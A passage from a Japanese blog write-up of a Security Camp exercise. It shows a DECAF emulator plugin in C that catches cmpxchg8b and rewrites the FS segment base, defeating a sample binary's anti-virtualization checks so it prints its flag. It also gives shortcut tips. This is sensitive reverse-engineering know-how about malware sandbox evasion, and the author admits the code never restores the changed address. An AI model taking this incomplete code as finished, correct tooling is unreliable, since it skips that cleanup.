当然ながらこのやり方はとてつもなく重い.間違ってもこのHook中の処理にprintfとか挟んではいけない.やらかした奴が言うんだから間違いない.
説明が長くなったが,実装は以下の通り.

// level4
static uint32_t save_peb = 0;
static uint32_t save_val[2] = {0, 0};
static uint32_t save_base = 0;
static void red_insn_begin_callback(DECAF_Callback_Params* params)
{
    // detect cmpxchg8b and replace fs:[0x1000]
    uint32_t cur_insn = 0,
             cmpxchg8b = 0x00c70f64, // opcode of 'cmpxchg8b: 0x640fc7 ->(fix endian) 0x00c70f64 
             base, peb_addr, tmp_addr;
    // 3Byte読み込んで,比較
    DECAF_read_mem(NULL, cpu_single_env->eip, 3, &cur_insn);
    if (cur_insn == cmpxchg8b) {    // catch cmpxchg8b
        base = cpu_single_env->segs[R_FS].base;
        DECAF_read_mem(NULL, base+0x30, 4, &save_peb);  // get peb
        if (base > save_peb) { // peb is rear base
            DECAF_read_mem(NULL, cpu_single_env->regs[R_ESP], 8, save_val);
            /*                  DECAF_printf("FS(TEB): 0x%08x, peb: 0x%08x\n", base, save_peb); */
            /*                  DECAF_printf("edx:eax %08x:%08x, ecx:ebx %08x:%08x\n", cpu_single_env->regs[R_EDX], cpu_single_env->regs[R_EAX], cpu_single_env->regs[R_ECX], cpu_single_env->regs[R_EBX]); */
            save_base = base;
            cpu_single_env->segs[R_FS].base = cpu_single_env->regs[R_ESP]-0x1000;  // fs = ESP - 0x1000
        }
    }
}

static void red_insn_end_callback(DECAF_Callback_Params* params)
{
    return;
}
// level4 end
static void red_loadmainmodule_callback(VMI_Callback_Params* params)
{
    [+] insnbegin_handle = DECAF_register_callback(DECAF_INSN_BEGIN_CB, &red_insn_begin_callback, NULL);    // level4
    [+] insnend_handle = DECAF_register_callback(DECAF_INSN_END_CB, &red_insn_end_callback, NULL);  // level4
}
static void red_cleanup(void)
{

    [+] if (insnbegin_handle != DECAF_NULL_HANDLE)
    [+] {
    [+]     DECAF_unregister_callback(DECAF_INSN_BEGIN_CB, insnbegin_handle);
    [+]     insnbegin_handle = DECAF_NULL_HANDLE;
    [+] }
    [+] if (insnend_handle != DECAF_NULL_HANDLE)
    [+] {
    [+]     DECAF_unregister_callback(DECAF_INSN_END_CB, insnend_handle);
    [+]     insnend_handle = DECAF_NULL_HANDLE;
    [+] }
}

上で偉そうなことを行ったが,実はこのコード,アドレスを書き換えたあと戻していなかったりする.戻さなくてもクラッシュしないプログラムだったので,面倒くさいからそのままにしておいた.良い子のみんなはちゃんと戻そう.
これで全てのトリックを回避できるはず.
回避するとフラグの文字列が出力される.洋書のタイトルのようだ.

最後に

説明したいことが多くて,必要以上に長くなってしまった.ここまで読み進めた人はお疲れ様でした.
全てのヒントはスライドの中に紛れ込んでいたりする.探してみるのもおもしろい.
スライドの情報のみだと説明が足りないので,DECAFの公式サイトやソースコードを読むのが一番役に立った.大規模なプログラムのソースを読み散らかすのは楽しい経験だったと思う.
マルウェアの仮想化回避はLevel2とLevel3のように同じやり方でも少し変えるだけで全く別のものになってしまう.いたちごっこな雰囲気を強く感じる演習だった.これはセキュリティベンダが苦労するわけだと思う.
セキュリティキャンプ全国ではこれを数時間でやらせることを考えると結構鬼畜。出たかったな・・・。
最後に、黒米さんと愛甲さん,楽しい時間をありがとうございました.

裏ワザ

  • 仮想マシン起動時に-smp 2,maxcpus=2をつけて割り当てるプロセッサを2つにするとLevel2,3は無条件でクリアできる.Level4は不安定だから場合によってはLevel1を回避しただけでフラグまでたどり着ける.
  • Level4とか面倒くさいから,該当するバイナリをNOPに書き換えるのもあり?(未検証)

なんだこれ

QemuのありえないHz.CPUが溶けないなら欲しい性能. f:id:poppycompass:20151219001811p:plain

参考

DECAF - decaf-platform - DECAF Binary Analysis Platform - "Taking the jitters out of dynamic binary analysis" - Google Project Hosting

Win32 Thread Information Block - Wikipedia, the free encyclopedia

https://www.symantec.com/avcenter/reference/Virtual_Machine_Threats.pdf

OllyDbg Q&A (Digital Travesia)